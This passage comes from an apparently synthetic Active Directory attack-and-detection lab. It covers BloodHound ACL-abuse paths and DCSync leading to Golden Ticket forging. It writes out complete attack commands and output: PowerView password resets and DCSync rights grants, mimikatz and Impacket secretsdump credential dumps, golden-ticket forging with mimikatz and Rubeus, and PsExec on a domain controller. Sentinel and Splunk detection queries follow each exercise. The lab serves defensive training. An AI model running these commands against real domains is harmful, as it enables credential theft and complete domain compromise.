- AS-REP Roasting requires no credentials — If you know the username, you can request an AS-REP without any password. This is why
DONT_REQ_PREAUTHshould never be set. - Detection focus: volume and encryption type — Monitor for RC4 TGS requests (Event 4769 with etype 0x17) and unusual volume from a single source.
- Mitigation: gMSA + AES — Group Managed Service Accounts (gMSA) with 120-character auto-rotating passwords and AES-only encryption eliminate Kerberoasting risk.
Exercise 2: BloodHound Attack Path Analysis¶
Objective¶
Use SharpHound to collect Active Directory relationship data, import it into BloodHound, and analyze attack paths from compromised accounts to Domain Admin. Identify and exploit ACL-based abuse chains including GenericAll, WriteDACL, and ForceChangePassword permissions.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Tactic |
|---|---|---|
| T1087.002 | Domain Account Discovery | Discovery |
| T1069.002 | Domain Groups Discovery | Discovery |
| T1615 | Group Policy Discovery | Discovery |
| T1222.001 | Windows File and Directory Permissions Modification | Defense Evasion |
| T1098 | Account Manipulation | Persistence |
Prerequisites¶
- Domain credentials for data collection (testuser)
- SharpHound collector (.exe or .ps1)
- BloodHound GUI or BloodHound CE (Community Edition)
- Neo4j database (for legacy BloodHound) or PostgreSQL (for BloodHound CE)
Step 2.1: Data Collection with SharpHound¶
# Run SharpHound to collect AD data (SYNTHETIC)
PS C:\> .\SharpHound.exe --CollectionMethods All --Domain acme.example.com \
--DomainController DC01.acme.example.com --OutputDirectory C:\Temp\bloodhound
2026-03-24T08:30:15.1234567+00:00|INFORMATION|SharpHound v2.3.0.0
2026-03-24T08:30:15.2345678+00:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, GPOLocalGroup, CertServices
2026-03-24T08:30:15.3456789+00:00|INFORMATION|Initializing SharpHound at 8:30 AM on 3/24/2026
2026-03-24T08:30:16.4567890+00:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for acme.example.com: DC01.acme.example.com
2026-03-24T08:30:16.5678901+00:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, GPOLocalGroup, CertServices
2026-03-24T08:30:17.6789012+00:00|INFORMATION|Beginning LDAP search for acme.example.com
2026-03-24T08:30:22.7890123+00:00|INFORMATION|Producer has finished, closing LDAP channel
2026-03-24T08:30:22.8901234+00:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-03-24T08:30:45.9012345+00:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 85 MB RAM
2026-03-24T08:31:15.0123456+00:00|INFORMATION|Status: 2547 objects finished (+2547 84.9)/s -- Using 142 MB RAM
2026-03-24T08:31:45.1234567+00:00|INFORMATION|Status: 2547 objects finished (+0 42.45)/s -- Using 142 MB RAM
2026-03-24T08:31:48.2345678+00:00|INFORMATION|Consumers finished, closing output channel
2026-03-24T08:31:48.3456789+00:00|INFORMATION|Output channel closed, waiting for output task
Closing writers
2026-03-24T08:31:48.5678901+00:00|INFORMATION|Enumeration complete!
Enumeration Results:
Users Collected: 2,547
Groups Collected: 312
Computers Collected: 187
Domains Collected: 2
GPOs Collected: 45
OUs Collected: 28
Containers Collected: 12
Trusts Collected: 1
ACLs Collected: 15,432
Sessions Collected: 89
Local Admins Collected: 234
Certificate Templates: 18
2026-03-24T08:31:48.6789012+00:00|INFORMATION|SharpHound Enumeration Completed at 8:31 AM on 3/24/2026! Happy Graphing!
2026-03-24T08:31:48.7890123+00:00|INFORMATION|Output file: C:\Temp\bloodhound\20260324083148_BloodHound.zip (4.2 MB)
# Alternative: Run SharpHound via PowerShell (SYNTHETIC)
PS C:\> Import-Module .\SharpHound.ps1
PS C:\> Invoke-BloodHound -CollectionMethod All -Domain acme.example.com \
-DomainController DC01.acme.example.com -OutputDirectory C:\Temp\bloodhound \
-ZipFileName "acme_collection.zip"
Initializing SharpHound at 8:35 AM on 3/24/2026
[+] Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[+] Found Domain Controller: DC01.acme.example.com
[+] Completed LDAP enumeration — 2,547 objects
[+] Output: C:\Temp\bloodhound\acme_collection.zip
Step 2.2: Import Data and Analyze in BloodHound¶
# Import the collected data into BloodHound (SYNTHETIC)
# 1. Start Neo4j database
# 2. Launch BloodHound GUI
# 3. Drag and drop the ZIP file into BloodHound
Upload Results:
✓ Users: 2,547 imported
✓ Groups: 312 imported
✓ Computers: 187 imported
✓ Domains: 2 imported
✓ GPOs: 45 imported
✓ OUs: 28 imported
✓ ACLs: 15,432 imported
✓ Sessions: 89 imported
✓ Relationships created: 48,291
Step 2.3: Identify Shortest Path to Domain Admin¶
# BloodHound Query: Shortest path from testuser to Domain Admins (SYNTHETIC)
# Built-in query: "Shortest Paths to Domain Admins from Owned Principals"
MATCH (start:User {name: "TESTUSER@ACME.EXAMPLE.COM"}),
(end:Group {name: "DOMAIN ADMINS@ACME.EXAMPLE.COM"}),
path = shortestPath((start)-[*1..]->(end))
RETURN path
Result — Attack Path (5 hops):
TESTUSER@ACME.EXAMPLE.COM
│
│ [MemberOf]
▼
IT OPERATIONS@ACME.EXAMPLE.COM
│
│ [GenericAll] ← ACL abuse: GenericAll on Help Desk group
▼
HELP DESK@ACME.EXAMPLE.COM
│
│ [Member: jsmith]
│ [ForceChangePassword] ← Can reset passwords in OU=Users
▼
JSMITH@ACME.EXAMPLE.COM
│
│ [GenericAll on OU=Users]
│ [Can modify admin_da] ← ACL abuse chain
▼
ADMIN_DA@ACME.EXAMPLE.COM
│
│ [MemberOf]
▼
DOMAIN ADMINS@ACME.EXAMPLE.COM
Step 2.4: Enumerate ACL-Based Attack Paths¶
# BloodHound Cypher Queries for ACL analysis (SYNTHETIC)
# Find all users with GenericAll on other users
MATCH (u:User)-[:GenericAll]->(t:User)
RETURN u.name AS Attacker, t.name AS Target, "GenericAll" AS Permission
# Results:
# ┌──────────────────────────────────────┬──────────────────────────────────────┬──────────────┐
# │ Attacker │ Target │ Permission │
# ├──────────────────────────────────────┼──────────────────────────────────────┼──────────────┤
# │ JSMITH@ACME.EXAMPLE.COM │ SVC_SQL@ACME.EXAMPLE.COM │ GenericAll │
# │ JSMITH@ACME.EXAMPLE.COM │ SVC_BACKUP@ACME.EXAMPLE.COM │ GenericAll │
# │ JSMITH@ACME.EXAMPLE.COM │ SVC_WEB@ACME.EXAMPLE.COM │ GenericAll │
# │ SVC_EXCHANGE@ACME.EXAMPLE.COM │ ADMIN_DA@ACME.EXAMPLE.COM │ GenericAll │
# └──────────────────────────────────────┴──────────────────────────────────────┴──────────────┘
# Find WriteDACL abuse paths
MATCH (u:User)-[:WriteDacl]->(t)
RETURN u.name AS Attacker, t.name AS Target, labels(t) AS TargetType, "WriteDACL" AS Permission
# Results:
# ┌──────────────────────────────────────┬──────────────────────────────────────┬──────────────┬──────────────┐
# │ Attacker │ Target │ TargetType │ Permission │
# ├──────────────────────────────────────┼──────────────────────────────────────┼──────────────┼──────────────┤
# │ EXCHANGE WINDOWS PERMISSIONS@ACME... │ ACME.EXAMPLE.COM │ Domain │ WriteDACL │
# │ SVC_EXCHANGE@ACME.EXAMPLE.COM │ ACME.EXAMPLE.COM │ Domain │ WriteDACL │
# └──────────────────────────────────────┴──────────────────────────────────────┴──────────────┴──────────────┘
# Find ForceChangePassword rights
MATCH (u)-[:ForceChangePassword]->(t:User)
RETURN u.name AS Attacker, t.name AS Target, "ForceChangePassword" AS Permission
# Results:
# ┌──────────────────────────────────────┬──────────────────────────────────────┬───────────────────────┐
# │ Attacker │ Target │ Permission │
# ├──────────────────────────────────────┼──────────────────────────────────────┼───────────────────────┤
# │ HELP DESK@ACME.EXAMPLE.COM │ TESTUSER@ACME.EXAMPLE.COM │ ForceChangePassword │
# │ HELP DESK@ACME.EXAMPLE.COM │ ANALYST1@ACME.EXAMPLE.COM │ ForceChangePassword │
# │ HELP DESK@ACME.EXAMPLE.COM │ SVC_WEB@ACME.EXAMPLE.COM │ ForceChangePassword │
# └──────────────────────────────────────┴──────────────────────────────────────┴───────────────────────┘
# Find all paths from Kerberoastable users to Domain Admin
MATCH (u:User {hasspn: true}),
(g:Group {name: "DOMAIN ADMINS@ACME.EXAMPLE.COM"}),
path = shortestPath((u)-[*1..]->(g))
RETURN u.name AS KerberoastableUser, length(path) AS PathLength
ORDER BY PathLength ASC
# Results:
# ┌──────────────────────────────────────┬────────────┐
# │ KerberoastableUser │ PathLength │
# ├──────────────────────────────────────┼────────────┤
# │ SVC_EXCHANGE@ACME.EXAMPLE.COM │ 2 │
# │ SVC_SQL@ACME.EXAMPLE.COM │ 4 │
# │ SVC_BACKUP@ACME.EXAMPLE.COM │ 5 │
# │ SVC_WEB@ACME.EXAMPLE.COM │ 6 │
# └──────────────────────────────────────┴────────────┘
Step 2.5: Exploit the ACL Abuse Chain¶
Now execute the attack path discovered by BloodHound. Starting from compromised jsmith credentials (obtained via Kerberoasting of svc_sql in Exercise 1, then lateral movement):
# Step A: Use GenericAll to reset svc_web password (SYNTHETIC)
# jsmith has GenericAll on OU=Users, which includes svc_web
PS C:\> Import-Module .\PowerView.ps1
PS C:\> $SecurePassword = ConvertTo-SecureString 'REDACTED' -AsPlainText -Force
PS C:\> $Credential = New-Object System.Management.Automation.PSCredential('acme\jsmith', $SecurePassword)
# Reset svc_web password using GenericAll
PS C:\> Set-DomainUserPassword -Identity svc_web -AccountPassword (ConvertTo-SecureString 'REDACTED' -AsPlainText -Force) -Credential $Credential -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set password for user 'svc_web'
VERBOSE: [Set-DomainUserPassword] Password for user 'svc_web' successfully reset
# Step B: Add svc_web to a group with more privileges (SYNTHETIC)
# GenericAll = full control, including modifying group membership
PS C:\> Add-DomainGroupMember -Identity "IT Operations" -Members "svc_web" -Credential $Credential
# Step C: Use WriteDACL on Domain object to grant DCSync rights (SYNTHETIC)
# svc_exchange (via Exchange Windows Permissions group) has WriteDACL on domain
# First, authenticate as svc_exchange (if compromised)
PS C:\> $ExchCred = New-Object System.Management.Automation.PSCredential('acme\svc_exchange', $SecurePassword)
# Grant DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)
PS C:\> Add-DomainObjectAcl -PrincipalIdentity svc_exchange -TargetIdentity "DC=acme,DC=example,DC=com" `
-Rights DCSync -Credential $ExchCred -Verbose
VERBOSE: [Add-DomainObjectAcl] Granting DCSync rights to svc_exchange on DC=acme,DC=example,DC=com
VERBOSE: [Add-DomainObjectAcl] Adding DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
VERBOSE: [Add-DomainObjectAcl] Adding DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
VERBOSE: [Add-DomainObjectAcl] ACE added successfully
Step 2.6: Visualize the Complete Attack Path¶
┌───────────────────────────────────────────────────────────────────────────┐
│ BloodHound Attack Path — Full Chain │
│ │
│ testuser (initial foothold) │
│ │ │
│ │ Kerberoast svc_sql → crack password │
│ ▼ │
│ svc_sql (SQL Server admin) │
│ │ │
│ │ SQL Server → xp_cmdshell → harvest jsmith session │
│ ▼ │
│ jsmith (Help Desk — GenericAll on OU=Users) │
│ │ │
│ │ GenericAll → Reset svc_exchange password │
│ ▼ │
│ svc_exchange (Exchange Trusted Subsystem — WriteDACL on Domain) │
│ │ │
│ │ WriteDACL → Grant DCSync rights │
│ ▼ │
│ DCSync → Extract krbtgt hash → Golden Ticket │
│ │ │
│ │ Golden Ticket → Authenticate as any user │
│ ▼ │
│ DOMAIN ADMINS@ACME.EXAMPLE.COM — Full domain compromise │
│ │
│ Total Hops: 5 │ Time to DA: ~45 minutes │ Detection: Exercise 5 │
└───────────────────────────────────────────────────────────────────────────┘
Detection Queries — BloodHound / ACL Abuse¶
KQL — Microsoft Sentinel:
// KQL: Detect SharpHound / BloodHound data collection
// SharpHound performs high-volume LDAP queries in rapid succession
SecurityEvent
| where EventID == 5136 or EventID == 4662 // Directory service access
| where TimeGenerated > ago(1h)
| extend TargetObject = tostring(EventData.ObjectDN)
| extend AccessMask = tostring(EventData.AccessMask)
| extend SubjectUserName = tostring(EventData.SubjectUserName)
| summarize LDAPQueryCount = count(),
DistinctObjects = dcount(TargetObject),
ObjectSample = take_any(TargetObject, 5)
by SubjectUserName, Computer, bin(TimeGenerated, 5m)
| where LDAPQueryCount > 1000 // SharpHound generates thousands of queries
| project TimeGenerated, SubjectUserName, Computer, LDAPQueryCount,
DistinctObjects, ObjectSample
| sort by LDAPQueryCount desc
// KQL: Detect DACL modification on Domain object
// Event ID 5136: A directory service object was modified
SecurityEvent
| where EventID == 5136
| where TimeGenerated > ago(24h)
| extend ObjectDN = tostring(EventData.ObjectDN)
| extend AttributeName = tostring(EventData.AttributeLDAPDisplayName)
| extend SubjectUserName = tostring(EventData.SubjectUserName)
| extend OperationType = tostring(EventData.OperationType)
| where ObjectDN contains "DC=acme,DC=example,DC=com"
| where AttributeName == "nTSecurityDescriptor" // DACL modification
| project TimeGenerated, SubjectUserName, ObjectDN, AttributeName,
OperationType, Computer
| sort by TimeGenerated desc
// KQL: Detect password reset by non-standard accounts
// Event ID 4724: An attempt was made to reset an account's password
SecurityEvent
| where EventID == 4724
| where TimeGenerated > ago(24h)
| extend TargetAccount = tostring(EventData.TargetUserName)
| extend PerformedBy = tostring(EventData.SubjectUserName)
| where PerformedBy !in ("admin_da", "svc_identity", "SYSTEM") // Whitelist
| project TimeGenerated, PerformedBy, TargetAccount, Computer
| sort by TimeGenerated desc
// KQL: Detect ACL abuse — GenericAll / WriteDACL changes
SecurityEvent
| where EventID == 4662
| where TimeGenerated > ago(24h)
| extend ObjectType = tostring(EventData.ObjectType)
| extend AccessMask = tostring(EventData.AccessMask)
| extend SubjectUserName = tostring(EventData.SubjectUserName)
| extend Properties = tostring(EventData.Properties)
| where Properties has_any (
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", // DS-Replication-Get-Changes
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", // DS-Replication-Get-Changes-All
"89e95b76-444d-4c62-991a-0facbeda640c" // DS-Replication-Get-Changes-In-Filtered-Set
)
| project TimeGenerated, SubjectUserName, AccessMask, ObjectType, Properties, Computer
| sort by TimeGenerated desc
SPL — Splunk:
// SPL: Detect SharpHound LDAP enumeration
index=wineventlog (EventCode=5136 OR EventCode=4662)
| bin _time span=5m
| stats count as ldap_queries,
dc(ObjectDN) as distinct_objects,
values(ObjectDN) as sample_objects
by Account_Name, ComputerName, _time
| where ldap_queries > 1000
| sort -ldap_queries
| rename Account_Name as "User",
ComputerName as "Source Host",
ldap_queries as "LDAP Queries",
distinct_objects as "Distinct Objects"
// SPL: Detect DACL modification on domain object
index=wineventlog EventCode=5136
| where ObjectDN="*DC=acme,DC=example,DC=com"
| where AttributeLDAPDisplayName="nTSecurityDescriptor"
| table _time, Account_Name, ObjectDN, OperationType, ComputerName
| sort -_time
// SPL: Detect password reset anomalies
index=wineventlog EventCode=4724
| where NOT Account_Name IN ("admin_da", "svc_identity", "SYSTEM")
| stats count as resets,
values(TargetUserName) as targets,
dc(TargetUserName) as distinct_targets
by Account_Name, ComputerName
| where distinct_targets >= 2
| sort -distinct_targets
| rename Account_Name as "Reset By",
targets as "Targets",
distinct_targets as "Unique Targets"
// SPL: Detect replication permission grants (DCSync preparation)
index=wineventlog EventCode=4662
| where Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| table _time, Account_Name, ObjectName, Properties, AccessMask, ComputerName
| sort -_time
Key Takeaways — Exercise 2¶
BloodHound Attack Path Principles
- BloodHound reveals what defenders miss — Traditional vulnerability scanning does not find ACL-based attack paths. BloodHound's graph analysis exposes paths that are invisible to manual review.
- ACLs are the most underestimated attack surface — GenericAll, WriteDACL, ForceChangePassword, and AddMember permissions create privilege escalation chains that bypass traditional security controls.
- Shortest path is not the only path — Attackers have multiple routes. Defenders must analyze and remediate all high-risk paths, not just the shortest one.
- Exchange servers are high-value targets — Exchange Trusted Subsystem often has WriteDACL on the domain object, making Exchange compromise equivalent to domain compromise.
- Run BloodHound defensively — Security teams should regularly run SharpHound and review attack paths from all user tiers. Fix dangerous ACLs before attackers find them.
- Detection: LDAP volume + DACL changes — SharpHound generates distinctive high-volume LDAP query patterns. DACL modifications on domain objects (Event 5136) are rare and high-fidelity alerts.
Exercise 3: DCSync & Golden Ticket¶
Objective¶
Abuse Active Directory replication rights to perform a DCSync attack, extracting the krbtgt account hash. Use the extracted hash to forge a Golden Ticket, granting persistent, unrestricted access to the entire domain — even surviving password resets for all other accounts.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Tactic |
|---|---|---|
| T1003.006 | OS Credential Dumping: DCSync | Credential Access |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | Credential Access |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | Lateral Movement |
| T1484.001 | Domain Policy Modification: Group Policy Modification | Defense Evasion |
Prerequisites¶
- Account with DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)
- In this lab:
svc_exchangewas granted DCSync rights in Exercise 2 - Tools: Mimikatz, Rubeus, Impacket (secretsdump.py)
Step 3.1: Verify Replication Rights¶
# Verify which accounts have replication rights (SYNTHETIC)
PS C:\> Import-Module .\PowerView.ps1
PS C:\> Get-DomainObjectAcl -SearchBase "DC=acme,DC=example,DC=com" -ResolveGUIDs | `
Where-Object { $_.ObjectAceType -match "DS-Replication-Get-Changes" } | `
Select-Object SecurityIdentifier, ObjectAceType | `
ForEach-Object {
$_ | Add-Member -NotePropertyName "Identity" -NotePropertyValue `
(New-Object System.Security.Principal.SecurityIdentifier($_.SecurityIdentifier)).Translate(
[System.Security.Principal.NTAccount]).Value -PassThru
} | Select-Object Identity, ObjectAceType
Identity ObjectAceType
-------- -------------
ACME\Domain Controllers DS-Replication-Get-Changes
ACME\Domain Controllers DS-Replication-Get-Changes-All
ACME\Enterprise Read-only Domain Cont. DS-Replication-Get-Changes
ACME\Administrator DS-Replication-Get-Changes
ACME\Administrator DS-Replication-Get-Changes-All
ACME\svc_exchange DS-Replication-Get-Changes ← ADDED IN EXERCISE 2
ACME\svc_exchange DS-Replication-Get-Changes-All ← ADDED IN EXERCISE 2
Step 3.2: DCSync with Mimikatz¶
# DCSync attack — extract krbtgt hash using Mimikatz (SYNTHETIC)
# Running as svc_exchange (which was granted DCSync rights)
PS C:\> .\mimikatz.exe "lsadump::dcsync /domain:acme.example.com /user:krbtgt" "exit"
.#####. mimikatz 2.2.0 (x64) #19041
.## ^ ##. "A La Vie, A L'Amour" — (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /domain:acme.example.com /user:krbtgt
[DC] 'acme.example.com' will be the domain
[DC] 'DC01.acme.example.com' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/15/2022 3:42:18 PM
Object Security ID : S-1-5-21-1234567890-987654321-1122334455-502
Object Relative ID : 502
Credentials:
Hash NTLM: REDACTED_KRBTGT_NTLM_HASH_00000000
ntlm- 0: REDACTED_KRBTGT_NTLM_HASH_00000000
ntlm- 1: REDACTED_KRBTGT_NTLM_HASH_PREVIOUS
lm - 0: REDACTED_LM_HASH_00000000000000000
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : ACME.EXAMPLE.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : REDACTED_AES256_HASH_0123456789abcdef0123456789abcdef0123456789abcdef
aes128_hmac (4096) : REDACTED_AES128_HASH_0123456789abcdef
des_cbc_md5 (4096) : REDACTED_DES_HASH
* Primary:Kerberos *
Default Salt : ACME.EXAMPLE.COMkrbtgt
Credentials
des_cbc_md5 : REDACTED_DES_HASH
# DCSync — extract Domain Admin hash (SYNTHETIC)
PS C:\> .\mimikatz.exe "lsadump::dcsync /domain:acme.example.com /user:admin_da" "exit"
[DC] 'acme.example.com' will be the domain
[DC] 'DC01.acme.example.com' will be the DC server
[DC] 'admin_da' will be the user account
Object RDN : Admin DA
** SAM ACCOUNT **
SAM Username : admin_da
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWORD )
Password last change : 02/01/2026 9:15:33 AM
Object Security ID : S-1-5-21-1234567890-987654321-1122334455-1104
Credentials:
Hash NTLM: REDACTED_ADMIN_DA_NTLM_HASH_00000000
ntlm- 0: REDACTED_ADMIN_DA_NTLM_HASH_00000000
Step 3.3: DCSync with Impacket (Linux)¶
# DCSync using Impacket's secretsdump.py from Linux (SYNTHETIC)
$ python3 /usr/share/impacket/secretsdump.py \
acme.example.com/svc_exchange:REDACTED@10.10.10.10 \
-just-dc-user krbtgt \
-just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:REDACTED_LM_HASH:REDACTED_KRBTGT_NTLM_HASH_00000000:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:REDACTED_AES256_HASH_0123456789abcdef0123456789abcdef0123456789abcdef
krbtgt:aes128-cts-hmac-sha1-96:REDACTED_AES128_HASH_0123456789abcdef
krbtgt:des-cbc-md5:REDACTED_DES_HASH
[*] Cleaning up...
# Full domain dump (all user hashes) (SYNTHETIC)
$ python3 /usr/share/impacket/secretsdump.py \
acme.example.com/svc_exchange:REDACTED@10.10.10.10 \
-just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:REDACTED:REDACTED:::
Guest:501:REDACTED:REDACTED:::
krbtgt:502:REDACTED:REDACTED_KRBTGT_NTLM_HASH_00000000:::
testuser:1103:REDACTED:REDACTED:::
jsmith:1104:REDACTED:REDACTED:::
admin_da:1105:REDACTED:REDACTED:::
svc_sql:1106:REDACTED:REDACTED:::
svc_backup:1107:REDACTED:REDACTED:::
svc_web:1108:REDACTED:REDACTED:::
svc_exchange:1109:REDACTED:REDACTED:::
svc_honeypot:1110:REDACTED:REDACTED:::
analyst1:1111:REDACTED:REDACTED:::
[... 2,547 users total ...]
[*] Cleaning up...
Step 3.4: Forge a Golden Ticket¶
With the krbtgt hash, forge a Golden Ticket — a self-signed TGT that grants access as any user in the domain.
# Forge Golden Ticket with Mimikatz (SYNTHETIC)
# Required information:
# - Domain SID: S-1-5-21-1234567890-987654321-1122334455
# - krbtgt NTLM hash: REDACTED_KRBTGT_NTLM_HASH_00000000
# - Domain: acme.example.com
# - Target user: Administrator (or any user)
PS C:\> .\mimikatz.exe "kerberos::golden /user:Administrator /domain:acme.example.com /sid:S-1-5-21-1234567890-987654321-1122334455 /krbtgt:REDACTED_KRBTGT_NTLM_HASH_00000000 /id:500 /groups:512,513,518,519,520 /ptt" "exit"
mimikatz(commandline) # kerberos::golden /user:Administrator /domain:acme.example.com /sid:S-1-5-21-1234567890-987654321-1122334455 /krbtgt:REDACTED_KRBTGT_NTLM_HASH_00000000 /id:500 /groups:512,513,518,519,520 /ptt
User : Administrator
Domain : acme.example.com (ACME)
SID : S-1-5-21-1234567890-987654321-1122334455
User Id : 500
Groups Id : *512 513 518 519 520
ServiceKey: REDACTED_KRBTGT_NTLM_HASH_00000000 — rc4_hmac_nt
Lifetime : 3/24/2026 8:45:00 AM ; 3/21/2036 8:45:00 AM ; 3/21/2036 8:45:00 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ acme.example.com' successfully submitted for current session
# Verify the Golden Ticket is loaded (SYNTHETIC)
PS C:\> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ ACME.EXAMPLE.COM
Server: krbtgt/ACME.EXAMPLE.COM @ ACME.EXAMPLE.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 3/24/2026 8:45:00 (local)
End Time: 3/21/2036 8:45:00 (local) ← 10-year validity!
Renew Time: 3/21/2036 8:45:00 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
Step 3.5: Use the Golden Ticket¶
# Access Domain Controller with Golden Ticket (SYNTHETIC)
PS C:\> dir \\DC01.acme.example.com\C$
Directory: \\DC01.acme.example.com\C$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/24/2026 7:00 AM inetpub
d----- 3/24/2026 7:00 AM PerfLogs
d-r--- 3/24/2026 7:00 AM Program Files
d-r--- 3/24/2026 7:00 AM Program Files (x86)
d-r--- 3/24/2026 7:00 AM Users
d----- 3/24/2026 7:00 AM Windows
# Execute commands on DC (SYNTHETIC)
PS C:\> .\PsExec.exe \\DC01.acme.example.com cmd.exe /c "whoami & hostname"
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
acme\administrator
DC01
# Access any server in the domain (SYNTHETIC)
PS C:\> dir \\SQL01.acme.example.com\C$\
Directory: \\SQL01.acme.example.com\C$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/24/2026 7:00 AM Program Files
d----- 3/24/2026 7:00 AM SQLData
d----- 3/24/2026 7:00 AM Windows
# Forge Golden Ticket with Rubeus (alternative) (SYNTHETIC)
PS C:\> .\Rubeus.exe golden /aes256:REDACTED_AES256_HASH /user:Administrator \
/domain:acme.example.com /sid:S-1-5-21-1234567890-987654321-1122334455 \
/dc:DC01.acme.example.com /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.0
[*] Action: Build TGT
[*] Building PAC
[*] Domain : ACME.EXAMPLE.COM (ACME)
[*] SID : S-1-5-21-1234567890-987654321-1122334455
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : REDACTED_AES256_HASH (aes256_cts_hmac_sha1)
[*] ServiceKeyType : HMAC_SHA1_96_AES256
[*] KDCKey : REDACTED_AES256_HASH (aes256_cts_hmac_sha1)
[*] KDCKeyType : HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : acme.example.com
[*] Forged a]Golden Ticket for 'Administrator@acme.example.com'
[*] base64(googolden.kirbi):
doIFXTCCBVmgAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX...REDACTED_BASE64...
[+] Ticket successfully imported!
Step 3.6: Golden Ticket Persistence Analysis¶
┌───────────────────────────────────────────────────────────────────────────────┐
│ Golden Ticket — Persistence Properties │
│ │
│ Property Value Implication │
│ ──────────────────── ────────────────────── ───────────────────────────── │
│ Ticket Validity Up to 10 years Persists indefinitely │
│ Survives Password Yes (all except krbtgt) Changing user passwords │
│ Resets? does NOT invalidate ticket │
│ Survives OS Rebuild? Yes (if ticket file Ticket is portable across │
│ is preserved) systems │
│ Requires DC Access? No (self-signed) Works even if DC is │
│ unreachable briefly │
│ Invalidation Method Reset krbtgt password Must be done TWICE │
│ TWICE (current + prev) (current and previous key) │
│ Encryption Types RC4 or AES256 AES256 is stealthier │
│ Group Membership Arbitrary (forged PAC) Can claim any group │
│ SID History Can be injected Cross-domain escalation │
│ │
│ ⚠ CRITICAL: A single krbtgt compromise = total domain compromise │
│ ⚠ REMEDIATION: Reset krbtgt password TWICE with 12+ hour gap │
└───────────────────────────────────────────────────────────────────────────────┘
Detection Queries — DCSync & Golden Ticket¶
KQL — Microsoft Sentinel:
// KQL: Detect DCSync — Directory replication from non-DC source
// Event ID 4662: An operation was performed on an object
SecurityEvent
| where EventID == 4662
| where TimeGenerated > ago(24h)
| extend SubjectUserName = tostring(EventData.SubjectUserName)
| extend SubjectDomainName = tostring(EventData.SubjectDomainName)
| extend Properties = tostring(EventData.Properties)
| extend ObjectType = tostring(EventData.ObjectType)
| extend AccessMask = tostring(EventData.AccessMask)
// Filter for replication-related GUIDs
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // DS-Repl-Get-Changes
or Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" // DS-Repl-Get-Changes-All
or Properties has "89e95b76-444d-4c62-991a-0facbeda640c" // DS-Repl-Get-Changes-In-Filtered-Set
// Exclude legitimate Domain Controllers
| where SubjectUserName !endswith "$" // Machine accounts (DCs)
| where SubjectUserName !in ("Administrator") // Known legitimate if needed
| project TimeGenerated, SubjectUserName, SubjectDomainName, AccessMask,
Properties, Computer
| sort by TimeGenerated desc
// KQL: Detect Golden Ticket — TGT with anomalous lifetime
// Event ID 4769: A Kerberos service ticket was requested
SecurityEvent
| where EventID == 4769
| where TimeGenerated > ago(24h)
| extend ServiceName = tostring(EventData.ServiceName)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend TicketEncryptionType = tostring(EventData.TicketEncryptionType)
